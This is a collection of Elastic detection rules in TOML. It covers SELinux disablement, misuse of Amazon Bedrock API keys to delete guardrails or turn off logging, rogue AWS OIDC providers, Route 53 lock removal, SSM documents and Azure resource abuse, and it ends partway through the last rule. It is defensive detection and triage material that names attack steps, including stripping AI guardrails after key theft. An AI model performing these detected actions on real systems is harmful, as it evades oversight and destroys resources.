Elastic rules: 2p

[rule]
description = """
Adversaries may attempt to disable Security-Enhanced Linux (SELinux), which is a Linux kernel security feature to
support access control policies. Disabling SELinux can allow malicious activities to continue undetected.
"""
id = "54aabfc3-7a78-4241-b0b2-e0de46d8e7b7"
license = "Elastic License v2"
name = "Attempt to Disable SELinux"
os_list = ["linux"]
version = "1.0.4"

query = '''
process where event.type == "start" and event.action == "exec" and
process.name == "setenforce" and process.args == "0" and
not (
  process.parent.args like (
    "/tmp/ansible-tmp-*/AnsiballZ_command.py", "/tmp/chef-script*", "/root/fapolicyd_rebuild.sh",
    "/opt/Tanium/TaniumClient/Tools/TCMClientUpgrade/ClientManagementUpgrade-upgrade.sh"
  ) or
  process.parent.executable in (
    "/opt/Tanium/TaniumClient/Tools/TCMClientUpgrade/ClientManagementUpgrade-upgrade.sh", "/usr/libexec/platform-python",
    "/usr/share/centrifydc/libexec/dzdo", "/opt/puppetlabs/puppet/bin/ruby"
  ) or
  (process.parent.name like "python*" and process.parent.args like "/home/*/.ansible/tmp/ansible-tmp-*.py") or
  (process.parent.name in ("taskrun", "perl") and process.parent.args == "/usr/local/cpanel/bin/taskrun") or
  process.parent.executable like "/usr/libexec/platform-python*" or
  process.working_directory like "/opt/symantec/install/*"
)
'''

min_endpoint_version = "7.15.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0

[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1562"
name = "Impair Defenses"
reference = "https://attack.mitre.org/techniques/T1562/"
[[threat.technique.subtechnique]]
id = "T1562.001"
name = "Disable or Modify Tools"
reference = "https://attack.mitre.org/techniques/T1562/001/"



[threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

[internal]
min_endpoint_version = "7.15.0"

[metadata]
creation_date = "2026/07/06"
integration = ["aws"]
maturity = "production"
updated_date = "2026/07/06"

[rule]
author = ["Elastic"]
description = """
Identifies an Amazon Bedrock API key (bearer token) being used to perform a destructive or anti-recovery control-plane
action, such as deleting a guardrail, deleting a custom or imported model, removing provisioned throughput, or disabling
model invocation logging. Bedrock API keys are bearer credentials intended for model invocation (InvokeModel, Converse);
using one to delete Bedrock resources or disable logging is inconsistent with that purpose and is characteristic of
LLMjacking or sabotage following key theft. Every Bedrock API key call is identifiable in CloudTrail by
"additionalEventData.callWithBearerToken" being true. The rule matches regardless of outcome, because a destructive
attempt via a bearer token is suspicious even when denied.
"""
false_positives = [
    """
    Automation that intentionally manages Bedrock resources using an API key could match. Confirm the principal in
    "aws.cloudtrail.user_identity.arn", the affected resource in "aws.cloudtrail.request_parameters", and whether the
    change was expected. Known maintenance principals can be excluded after validation.
    """,
]
from = "now-30m"
language = "esql"
license = "Elastic License v2"
name = "AWS Bedrock API Key Used for Destructive or Anti-Recovery Action"
note = """## Triage and analysis

### Investigating AWS Bedrock API Key Used for Destructive or Anti-Recovery Action

Amazon Bedrock API keys are bearer tokens created for model invocation. In CloudTrail, every request made with one carries "additionalEventData.callWithBearerToken" set to true, which distinguishes it from a standard SigV4-signed call. The AmazonBedrockLimitedAccess policy attached to Bedrock API key phantom users also permits destructive Bedrock control-plane actions, so a stolen or misused key can delete guardrails and models or disable logging.

Using an API key to delete guardrails, custom or imported models, or provisioned throughput, or to disable model invocation logging, is inconsistent with the credential's purpose. It is characteristic of LLMjacking operations (which frequently disable guardrails and logging) or of sabotage following credential theft.

### Possible investigation steps

- Identify the specific action in "event.action" and the affected resource in "aws.cloudtrail.request_parameters".
- Identify the principal in "aws.cloudtrail.user_identity.arn"/"aws.cloudtrail.user_identity.type" and review "source.ip", "source.as.number", and "user_agent.original"; generic HTTP clients (python-requests, aiohttp, curl) are a further LLMjacking indicator.
- Review the same principal's other Bedrock API key activity for model-invocation spikes, cross-region use, or additional destructive actions.
- Determine whether model invocation logging or guardrails were disabled, and when, to scope any window of reduced visibility.

### False positive analysis

- Sanctioned automation may manage Bedrock resources with an API key. Confirm the principal and change, and exclude known maintenance identities after validation.

### Response and remediation

- If unauthorized, revoke the Bedrock API key (attach an inline deny on "bedrock:CallWithBearerToken" to the phantom user or deactivate the service-specific credential) and restore the deleted resource or re-enable logging.
- Check the phantom user for IAM access keys created as a persistence pivot and revoke them.
- Review the principal's recent activity and prefer short-term keys or STS going forward.
"""
references = [
    "https://www.beyondtrust.com/blog/entry/aws-bedrock-security-guide-api-keys-detection-response",
    "https://www.beyondtrust.com/blog/entry/aws-bedrock-security-api-keys",
    "https://docs.aws.amazon.com/bedrock/latest/userguide/api-keys.html",
]
risk_score = 73
rule_id = "89b68231-5134-4499-8eca-20e5d9c90cce"
setup = "This rule requires AWS CloudTrail logs ingested via the Elastic AWS integration. See https://docs.elastic.co/integrations/aws/cloudtrail for setup details."
severity = "high"
tags = [
    "Domain: Cloud",
    "Data Source: AWS",
    "Data Source: Amazon Web Services",
    "Data Source: AWS CloudTrail",
    "Data Source: Amazon Bedrock",
    "Use Case: Threat Detection",
    "Tactic: Impact",
    "Tactic: Defense Evasion",
    "Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "esql"
query = '''
FROM logs-aws.cloudtrail-* METADATA _id, _version, _index
| WHERE event.provider == "bedrock.amazonaws.com"
    AND aws.cloudtrail.additional_eventdata RLIKE """.*callWithBearerToken=true.*"""
    AND event.action IN (
        "DeleteGuardrail",
        "DeleteModelInvocationLoggingConfiguration",
        "PutModelInvocationLoggingConfiguration",
        "DeleteImportedModel",
        "DeleteCustomModel",
        "DeleteModelCustomizationJob",
        "DeleteProvisionedModelThroughput",
        "DeleteMarketplaceModelEndpoint"
    )
| KEEP _id, _version, _index, @timestamp, aws.*, cloud.*, event.*, source.*, user.*, user_agent.*
'''


[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1485"
name = "Data Destruction"
reference = "https://attack.mitre.org/techniques/T1485/"

[rule.threat.tactic]
id = "TA0040"
name = "Impact"
reference = "https://attack.mitre.org/tactics/TA0040/"

[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1562"
name = "Impair Defenses"
reference = "https://attack.mitre.org/techniques/T1562/"
[[rule.threat.technique.subtechnique]]
id = "T1562.001"
name = "Disable or Modify Tools"
reference = "https://attack.mitre.org/techniques/T1562/001/"

[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

[metadata]
creation_date = "2026/02/05"
integration = ["aws"]
maturity = "production"
updated_date = "2026/08/05"

[rule]
author = ["Elastic"]
description = """
Detects when an uncommon user or role creates an OpenID Connect (OIDC) Identity Provider in AWS IAM. OIDC providers
enable web identity federation, allowing users authenticated by external identity providers (such as Google, GitHub, or
custom OIDC-compliant providers) to assume IAM roles and access AWS resources. Adversaries who have gained
administrative access may create rogue OIDC providers to establish persistent, federated access that survives credential
rotation. This technique allows attackers to assume roles using tokens from an IdP they control. While OIDC provider
creation is benign in some environments, it should still be validated against authorized infrastructure changes.
"""
false_positives = [
    """
    OIDC providers may be created during legitimate CI/CD integration (e.g., GitHub Actions, GitLab CI), Kubernetes
    service account federation, or other web identity use cases. Verify whether the user identity and timing align with
    approved change management processes. If this is expected administrative activity, it can be exempted from the rule.
    """,
]
from = "now-6m"
index = ["filebeat-*", "logs-aws.cloudtrail-*"]
language = "kuery"
license = "Elastic License v2"
name = "AWS IAM OIDC Provider Created by Rare User"
note = """## Triage and analysis

### Investigating AWS IAM OIDC Provider Created by Rare User

OpenID Connect (OIDC) providers in AWS IAM enable web identity federation, allowing external identity providers to authenticate users who then assume IAM roles. Common legitimate use cases include GitHub Actions accessing AWS resources, Kubernetes pods authenticating to AWS, and web applications using social login.

This rule detects the first time a specific user or role creates an OIDC provider within an account. While OIDC provider creation is common in some environments, a new user creating one for the first time warrants validation to ensure it's authorized.

### Possible investigation steps

- **Identify the actor**
  - Review `aws.cloudtrail.user_identity.arn` to determine who created the OIDC provider.
  - Check if this user has created OIDC providers before in other accounts.

- **Review the OIDC provider details**
  - Examine `aws.cloudtrail.request_parameters` for the provider URL and client IDs.
  - Identify the external IdP (e.g., GitHub, Google, custom provider).

- **Validate business justification**
  - Confirm with DevOps or platform teams whether this aligns with CI/CD pipeline setup.
  - Check for related change tickets or infrastructure-as-code deployments.

- **Check for follow-on activity**
  - Search for `CreateRole` or `UpdateAssumeRolePolicy` calls that trust the new OIDC provider.
  - Look for `AssumeRoleWithWebIdentity` calls using the newly created provider.

- **Correlate with other suspicious activity**
  - Check for preceding privilege escalation or credential access events.
  - Look for other persistence mechanisms being established concurrently.

### False positive analysis

- **CI/CD pipeline integration**
  - GitHub Actions, GitLab CI, and other CI/CD systems commonly use OIDC for AWS authentication.
  - Validate against known DevOps workflows.

- **Kubernetes federation**
  - EKS and self-managed Kubernetes clusters may use OIDC providers for pod identity.
  - Confirm with platform engineering teams.

- **Infrastructure-as-code deployments**
  - Terraform, CloudFormation, or other IaC tools may create OIDC providers.
  - Verify via CI/CD logs.

### Response and remediation

- **Immediate containment**
  - If unauthorized, delete the OIDC provider using `DeleteOpenIDConnectProvider`.
  - Review and remove any IAM roles that trust the rogue provider.

- **Investigation**
  - Audit CloudTrail for any `AssumeRoleWithWebIdentity` calls using this provider.
  - Review all IAM roles with web identity trust relationships.

- **Hardening**
  - Restrict `iam:CreateOpenIDConnectProvider` permissions to authorized roles.
  - Implement SCPs to control OIDC provider creation in member accounts.
  - Enable AWS Config rules to monitor identity provider configurations.

### Additional information
- **[AWS IAM OIDC Providers Documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_oidc.html)**
- **[AWS IR Playbooks](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/)**
- **[AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs)**
"""
references = [
    "https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateOpenIDConnectProvider.html",
    "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_oidc.html",
    "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a",
]
risk_score = 73
rule_id = "47403d72-3ee2-4752-a676-19dc8ff2b9d6"
severity = "high"
tags = [
    "Domain: Cloud",
    "Platform: AWS",
    "Data Source: AWS CloudTrail",
    "Service: AWS IAM",
    "Tactic: Persistence",
    "Rule Type: New Terms",
    "Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "new_terms"

query = '''
data_stream.dataset: "aws.cloudtrail"
    and event.provider: "iam.amazonaws.com"
    and event.action: "CreateOpenIDConnectProvider"
    and event.outcome: "success"
    and not user_agent.original: (*Terraform* or *eksctl*)
'''


[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1078"
name = "Valid Accounts"
reference = "https://attack.mitre.org/techniques/T1078/"

[[rule.threat.technique.subtechnique]]
id = "T1078.004"
name = "Cloud Accounts"
reference = "https://attack.mitre.org/techniques/T1078/004/"

[rule.threat.tactic]
id = "TA0003"
name = "Persistence"
reference = "https://attack.mitre.org/tactics/TA0003/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1484"
name = "Domain or Tenant Policy Modification"
reference = "https://attack.mitre.org/techniques/T1484/"

[[rule.threat.technique.subtechnique]]
id = "T1484.002"
name = "Trust Modification"
reference = "https://attack.mitre.org/techniques/T1484/002/"

[rule.threat.tactic]
id = "TA0004"
name = "Privilege Escalation"
reference = "https://attack.mitre.org/tactics/TA0004/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1484"
name = "Domain or Tenant Policy Modification"
reference = "https://attack.mitre.org/techniques/T1484/"

[[rule.threat.technique.subtechnique]]
id = "T1484.002"
name = "Trust Modification"
reference = "https://attack.mitre.org/techniques/T1484/002/"

[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[rule.investigation_fields]
field_names = [
    "@timestamp",
    "user.name",
    "user_agent.original",
    "source.ip",
    "aws.cloudtrail.user_identity.arn",
    "aws.cloudtrail.user_identity.type",
    "aws.cloudtrail.user_identity.access_key_id",
    "event.action",
    "event.outcome",
    "cloud.account.id",
    "cloud.region",
    "aws.cloudtrail.request_parameters",
    "aws.cloudtrail.response_elements",
]

[rule.new_terms]
field = "new_terms_fields"
value = ["cloud.account.id", "user.name"]
[[rule.new_terms.history_window_start]]
field = "history_window_start"
value = "now-10d"

[metadata]
creation_date = "2021/05/10"
integration = ["aws"]
maturity = "production"
updated_date = "2026/04/10"

[rule]
author = ["Elastic", "Austin Songer"]
description = """
Identifies when the transfer lock on an AWS Route 53 domain is disabled. The transfer lock protects domains from being
moved to another registrar or AWS account without authorization. Disabling this lock removes an important safeguard
against domain hijacking. Adversaries who gain access to domain-management permissions may disable the lock as a
precursor to unauthorized domain transfer, takeover, or service disruption.
"""
false_positives = [
    """
    A domain transfer lock may be intentionally disabled by an authorized administrator to prepare for a planned domain
    migration or registrar change. Confirm that the action aligns with an approved change request. You may exempt known
    administrative accounts involved in routine domain operations to reduce noise.
    """,
]
from = "now-6m"
index = ["filebeat-*", "logs-aws.cloudtrail-*"]
language = "kuery"
license = "Elastic License v2"
name = "AWS Route 53 Domain Transfer Lock Disabled"
note = """## Triage and analysis

### Investigating AWS Route 53 Domain Transfer Lock Disabled

This rule detects when the `DisableDomainTransferLock` operation succeeds for a managed Route 53 domain. The transfer lock
prevents unauthorized domain transfers, and disabling it is an uncommon operation outside of planned migrations. Because
domains often underpin production workloads (web, API, authentication, email), unauthorized transfer lock changes may
indicate adversary preparation for domain hijacking or service disruption.

This event should be treated with high urgency whenever it occurs unexpectedly.

### Possible investigation steps

- **Review the actor**
  - Examine `aws.cloudtrail.user_identity.arn` and `user_identity.access_key_id` to confirm who
    initiated the change. Validate whether this identity normally performs domain-management tasks.

- **Analyze the request context**
  - Review `aws.cloudtrail.request_parameters` to identify which domain was affected.
  - Confirm no corresponding `operation=TransferDomainToAnotherAwsAccount` or registrar-level modifications occurred
    shortly before or after the lock was disabled.
  - Note the timestamp and evaluate whether the change occurred during maintenance windows or outside business hours.

- **Evaluate activity surrounding the lock disablement**
  - Look for subsequent events such as modifications to contact details, attempted transfers, DNS record changes, or updates to hosted zones. Correlate with unusual IAM role usage, newly issued access keys, or anomalous login behavior.

- **Validate intent with responsible teams**
  - Confirm whether stakeholders (network operations, domain owners, infrastructure leads) initiated or approved the
    transfer lock disablement. If unmanaged or unexpected, treat this as a potentially malicious action.

### False positive analysis

- **Authorized transfer preparation**
  - The most common legitimate case is preparation for a planned transfer of ownership or registrar migration. Ensure the
    change aligns with a ticketed and approved operation.

- **Internal domain restructuring**
  - Organizational changes (e.g., merging AWS accounts, consolidating DNS assets) may require disabling the lock. Check
    for documented work items or migration plans.

- **Automated tooling**
  - Rare but possible: Some internal automation used for domain lifecycle management may disable the lock as part of an
    update. Validate that any automation using administrative API credentials is documented and approved.

### Response and remediation

- **Re-enable the transfer lock immediately if unauthorized**
  - Restore the lock from Route 53 to prevent any pending or future unauthorized transfer attempts.

- **Contain potential credential compromise**
  - If the action is suspicious, rotate credentials for the user or role involved and enforce MFA.

- **Audit for related domain-level modifications**
  - Review CloudTrail logs for:
    - attempted domain transfers,
    - contact profile changes,
    - hosted zone modifications,
    - DNS record updates,
    - IAM privilege escalations.

- **Engage internal owners**
  - Notify domain owners, infosec leadership, and operations teams; determine business impact and next steps.

- **Strengthen governance**
  - Limit domain-management permissions to the minimum set of authorized administrators.
  - Consider implementing AWS Organizations service control policies (SCPs) to prevent domain-level actions except
    through designated accounts.

### Additional information
- **[AWS IR Playbooks](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/)** 
- **[AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs)** 
- **[AWS Knowledge Center – Security Best Practices](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/)**
"""
references = [
    "https://docs.aws.amazon.com/Route53/latest/APIReference/API_Operations_Amazon_Route_53.html",
    "https://docs.aws.amazon.com/Route53/latest/APIReference/API_domains_DisableDomainTransferLock.html",
]
risk_score = 73
rule_id = "12051077-0124-4394-9522-8f4f4db1d674"
severity = "high"
tags = [
    "Domain: Cloud",
    "Data Source: AWS",
    "Data Source: Amazon Web Services",
    "Data Source: AWS Route 53",
    "Use Case: Asset Visibility",
    "Tactic: Persistence",
    "Tactic: Resource Development",
    "Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "query"

query = '''
data_stream.dataset: aws.cloudtrail 
    and event.provider: route53domains.amazonaws.com 
    and event.action: DisableDomainTransferLock 
    and event.outcome: success
'''


[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1098"
name = "Account Manipulation"
reference = "https://attack.mitre.org/techniques/T1098/"

[rule.threat.tactic]
id = "TA0003"
name = "Persistence"
reference = "https://attack.mitre.org/tactics/TA0003/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1584"
name = "Compromise Infrastructure"
reference = "https://attack.mitre.org/techniques/T1584/"

[[rule.threat.technique.subtechnique]]
id = "T1584.001"
name = "Domains"
reference = "https://attack.mitre.org/techniques/T1584/001/"

[rule.threat.tactic]
id = "TA0042"
name = "Resource Development"
reference = "https://attack.mitre.org/tactics/TA0042/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1562"
name = "Impair Defenses"
reference = "https://attack.mitre.org/techniques/T1562/"

[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[rule.investigation_fields]
field_names = [
    "@timestamp",
    "user.name",
    "user_agent.original",
    "source.ip",
    "aws.cloudtrail.user_identity.arn",
    "aws.cloudtrail.user_identity.type",
    "aws.cloudtrail.user_identity.access_key_id",
    "event.action",
    "event.outcome",
    "cloud.account.id",
    "cloud.region",
    "aws.cloudtrail.request_parameters",
    "aws.cloudtrail.response_elements",
]

[metadata]
creation_date = "2024/11/01"
integration = ["aws"]
maturity = "production"
updated_date = "2026/07/08"

[rule]
author = ["Elastic"]
description = """
Identifies when an AWS Systems Manager (SSM) command document is created by a user or role who does not typically perform this action. Adversaries may create SSM command documents to execute commands on managed instances, potentially leading to unauthorized access, command and control, data exfiltration and more.
"""
false_positives = [
    """
    Legitimate users may create SSM command documents for legitimate purposes. Ensure that the document is authorized and the user is known before taking action.
    """,
]
from = "now-6m"
index = ["filebeat-*", "logs-aws.cloudtrail-*"]
language = "kuery"
license = "Elastic License v2"
name = "AWS SSM Command Document Created by Rare User"
note = """## Triage and analysis

### Investigating AWS SSM Command Document Created by Rare User

This rule identifies when an AWS Systems Manager (SSM) command document is created by a user who does not typically perform this action. Creating SSM command documents can be a legitimate action but may also indicate malicious intent if done by an unusual or compromised user. Adversaries may leverage SSM documents to execute commands on managed instances, potentially leading to unauthorized access, command and control, or data exfiltration.

#### Possible Investigation Steps

- **Identify the Actor**: Review the `aws.cloudtrail.user_identity.arn` field to identify who created the SSM document. Verify if this user typically creates such documents and has the appropriate permissions. It may be unexpected for certain types of users, like assumed roles or federated users, to perform this action.
- **Analyze the Document Details**:
  - **Document Name**: Check the `aws.cloudtrail.request_parameters.name` field for the document name to understand its intended purpose.
  - **Document Content**: If possible, review `aws.cloudtrail.request_parameters.content` for any sensitive or unexpected instructions (e.g., actions for data exfiltration or privilege escalation). If not available via logs, consider reviewing the document in the AWS Management Console.
- **Contextualize the Activity with Related Events**: Look for other CloudTrail events involving the same user ARN or IP address (`source.ip`). Examine actions performed in other AWS services, such as IAM, EC2, or S3, to identify if additional suspicious behavior exists. The `SendCommand` API call may indicate attempts to execute the SSM document on managed instances.
- **Check Document Status and Metadata**:
  - **Document Status**: Confirm the document creation status in `aws.cloudtrail.response_elements.documentDescription.status`. A status of `Creating` may indicate that the document is in progress.
  - **Execution Permissions**: Review if the document specifies `platformTypes` and `documentVersion` in `aws.cloudtrail.response_elements.documentDescription` to understand which environments may be impacted and if multiple versions exist.

### False Positive Analysis

- **Authorized Administrative Actions**: Determine if this document creation aligns with scheduled administrative tasks or actions by authorized personnel.
- **Historical User Actions**: Compare this action against historical activities for the user to determine if they have a history of creating similar documents, which may indicate legitimate usage.

### Response and Remediation

- **Immediate Document Review and Deletion**: If the document creation is deemed unauthorized, delete the document immediately and check for other similar documents created recently.
- **Enhance Monitoring and Alerts**: Configure additional monitoring for SSM document creation events, especially when associated with untrusted or rare users.
- **Policy Update**: Consider restricting SSM document creation permissions to specific, trusted roles or users to prevent unauthorized document creation.
- **Incident Response**: If the document is confirmed as part of malicious activity, treat this as a security incident. Follow incident response protocols, including containment, investigation, and remediation.

### Additional Information

For further guidance on managing and securing AWS Systems Manager in your environment, refer to the [AWS SSM documentation](https://docs.aws.amazon.com/systems-manager/latest/userguide/what-is-systems-manager.html) and AWS security best practices.
"""
references = [
    "https://docs.aws.amazon.com/systems-manager/latest/APIReference/API_CreateDocument.html",
    "https://docs.aws.amazon.com/systems-manager/latest/userguide/documents.html",
]
risk_score = 73
rule_id = "50a2bdea-9876-11ef-89db-f661ea17fbcd"
severity = "high"
tags = [
    "Domain: Cloud",
    "Data Source: AWS",
    "Data Source: Amazon Web Services",
    "Data Source: AWS SSM",
    "Data Source: AWS Systems Manager",
    "Resources: Investigation Guide",
    "Use Case: Threat Detection",
    "Tactic: Execution",
]
timestamp_override = "event.ingested"
type = "new_terms"

query = '''
data_stream.dataset: "aws.cloudtrail"
    and event.provider: "ssm.amazonaws.com"
    and event.action: "CreateDocument"
    and event.outcome: "success"
    and aws.cloudtrail.flattened.response_elements.documentDescription.documentType: "Command"
'''

[rule.investigation_fields]
field_names = [
    "@timestamp",
    "user.name",
    "user_agent.original",
    "source.ip",
    "aws.cloudtrail.user_identity.arn",
    "aws.cloudtrail.user_identity.type",
    "aws.cloudtrail.user_identity.access_key_id",
    "event.action",
    "event.outcome",
    "cloud.account.id",
    "cloud.region",
    "aws.cloudtrail.request_parameters",
    "aws.cloudtrail.response_elements"
]

[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1651"
name = "Cloud Administration Command"
reference = "https://attack.mitre.org/techniques/T1651/"

[rule.threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"

[rule.new_terms]
field = "new_terms_fields"
value = ["cloud.account.id", "user.name"]
[[rule.new_terms.history_window_start]]
field = "history_window_start"
value = "now-10d"

[metadata]
creation_date = "2020/08/18"
integration = ["azure"]
maturity = "production"
updated_date = "2026/04/10"

[rule]
author = ["Elastic"]
description = """
Identifies when an Azure Automation account is created. Azure Automation accounts can be used to automate management
tasks and orchestrate actions across systems. An adversary may create an Automation account in order to maintain
persistence in their target's environment.
"""
from = "now-9m"
index = ["logs-azure.activitylogs-*", "filebeat-*"]
language = "kuery"
license = "Elastic License v2"
name = "Azure Automation Account Created"
note = """## Triage and analysis

> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.

### Investigating Azure Automation Account Created

Azure Automation accounts facilitate the automation of management tasks and orchestration across cloud environments, enhancing operational efficiency. However, adversaries may exploit these accounts to establish persistence by automating malicious activities. The detection rule monitors the creation of these accounts by analyzing specific Azure activity logs, focusing on successful operations, to identify potential unauthorized or suspicious account creations.

### Possible investigation steps

- Review the Azure activity logs to confirm the creation of the Automation account by checking for the operation name "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/WRITE" and ensure the event outcome is marked as Success.
- Identify the user or service principal that initiated the creation of the Automation account by examining the associated user identity information in the activity logs.
- Investigate the context of the Automation account creation by reviewing recent activities performed by the identified user or service principal to determine if there are any other suspicious or unauthorized actions.
- Check the configuration and permissions of the newly created Automation account to ensure it does not have excessive privileges that could be exploited for persistence or lateral movement.
- Correlate the Automation account creation event with other security alerts or logs to identify any patterns or indicators of compromise that may suggest malicious intent.

### False positive analysis

- Routine administrative tasks may trigger the rule when legitimate users create Azure Automation accounts for operational purposes. To manage this, maintain a list of authorized personnel and their expected activities, and cross-reference alerts with this list.
- Automated deployment scripts or infrastructure-as-code tools might create automation accounts as part of their normal operation. Identify these scripts and exclude their associated activities from triggering alerts by using specific identifiers or tags.
- Scheduled maintenance or updates by cloud service providers could result in the creation of automation accounts. Verify the timing and context of the account creation against known maintenance schedules and exclude these from alerts if they match.
- Development and testing environments often involve frequent creation and deletion of resources, including automation accounts. Implement separate monitoring rules or environments for these non-production areas to reduce noise in alerts.

### Response and remediation

- Immediately review the Azure activity logs to confirm the creation of the Automation account and identify the user or service principal responsible for the action.
- Disable the newly created Azure Automation account to prevent any potential malicious automation tasks from executing.
- Conduct a thorough investigation of the user or service principal that created the account to determine if their credentials have been compromised or if they have acted maliciously.
- Reset credentials and enforce multi-factor authentication for the identified user or service principal to prevent unauthorized access.
- Review and adjust Azure role-based access control (RBAC) policies to ensure that only authorized personnel have the ability to create Automation accounts.
- Escalate the incident to the security operations team for further analysis and to determine if additional systems or accounts have been compromised.
- Implement enhanced monitoring and alerting for future Automation account creations to quickly detect and respond to similar threats.

## Setup

The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule."""
references = [
    "https://powerzure.readthedocs.io/en/latest/Functions/operational.html#create-backdoor",
    "https://github.com/hausec/PowerZure",
    "https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a",
    "https://azure.microsoft.com/en-in/blog/azure-automation-runbook-management/",
]
risk_score = 21
rule_id = "df26fd74-1baa-4479-b42e-48da84642330"
severity = "low"
tags = ["Domain: Cloud", "Data Source: Azure", "Use Case: Identity and Access Audit", "Tactic: Persistence", "Resources: Investigation Guide"]
timestamp_override = "event.ingested"
type = "query"

query = '''
data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/WRITE" and event.outcome:(Success or success)
'''


[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1078"
name = "Valid Accounts"
reference = "https://attack.mitre.org/techniques/T1078/"


[rule.threat.tactic]
id = "TA0003"
name = "Persistence"
reference = "https://attack.mitre.org/tactics/TA0003/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1078"
name = "Valid Accounts"
reference = "https://attack.mitre.org/techniques/T1078/"


[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

[metadata]
creation_date = "2025/10/08"
integration = ["azure"]
maturity = "production"
updated_date = "2026/04/10"

[rule]
author = ["Elastic"]
description = """
Identifies when a single user or service principal deletes multiple Azure Storage Accounts within a short time period.
This behavior may indicate an adversary attempting to cause widespread service disruption, destroy evidence, or execute
a destructive attack such as ransomware. Mass deletion of storage accounts can have severe business impact and is rarely
performed by legitimate administrators except during controlled decommissioning activities.
"""
false_positives = [
    """
    Infrastructure teams may legitimately delete multiple storage accounts during planned decommissioning, resource
    cleanup, or large-scale infrastructure optimization. Verify that the deletion activity was expected and follows
    organizational change management processes. Consider exceptions for approved maintenance windows or automation service
    principals.
    """,
]
from = "now-9m"
index = ["logs-azure.activitylogs-*"]
language = "kuery"
license = "Elastic License v2"
name = "Azure Storage Account Deletions by User"
note = """## Triage and analysis

### Investigating Azure Storage Account Deletions by User

Azure Storage Accounts are critical infrastructure components that store application data, backups, and business-critical information. Mass deletion of storage accounts is an unusual and high-impact activity that can result in significant data loss and service disruption. Adversaries may perform bulk deletions to destroy evidence after data exfiltration, cause denial of service, or as part of ransomware campaigns targeting cloud infrastructure. This detection identifies when a single identity deletes multiple storage accounts in a short timeframe, which is indicative of potentially malicious activity.

### Possible investigation steps

- Review the Azure activity logs to identify the user or service principal that initiated the multiple storage account deletions by examining the principal ID, UPN and user agent fields in `azure.activitylogs.identity.claims_initiated_by_user.name`.
- Check the specific storage account names in `azure.resource.name` to understand which storage resources were deleted and assess the overall business impact.
- Investigate the timing and sequence of deletions to determine if they followed a pattern consistent with automated malicious activity or manual destruction.
- Examine the user's recent activity history including authentication events, privilege changes, and other Azure resource modifications to identify signs of account compromise.
- Verify if the storage account deletions align with approved change requests, maintenance windows, or decommissioning activities in your organization.
- Check if the deleted storage accounts contained critical data and whether backups are available for recovery.
- Review any related alerts or activities such as data exfiltration, unusual authentication patterns, or privilege escalation that occurred before the deletions.
- Investigate if other Azure resources (VMs, databases, resource groups) were also deleted or modified by the same principal.
- Check the authentication source and location to identify if the activity originated from an expected network location or potentially compromised session.

### False positive analysis

- Legitimate bulk decommissioning of storage accounts during infrastructure cleanup may trigger this alert. Document approved resource cleanup activities and coordinate with infrastructure teams to create exceptions during planned maintenance windows.
- Infrastructure-as-Code (IaC) automation tools or CI/CD pipelines may delete multiple test or temporary storage accounts. Identify service principals used by automation tools and consider creating exceptions for these identities when operating in non-production environments.
- Cloud resource optimization initiatives may involve bulk deletion of unused storage accounts. Coordinate with finance and infrastructure teams to understand planned cost optimization activities and schedule them during documented maintenance windows.
- Disaster recovery testing or blue-green deployment strategies may involve deletion of multiple storage accounts. Work with DevOps teams to identify these patterns and create time-based exceptions during testing periods.

### Response and remediation

- Immediately investigate whether the deletions were authorized by verifying with the account owner or relevant stakeholders.
- If the deletions were unauthorized, disable the compromised user account or service principal immediately to prevent further damage.
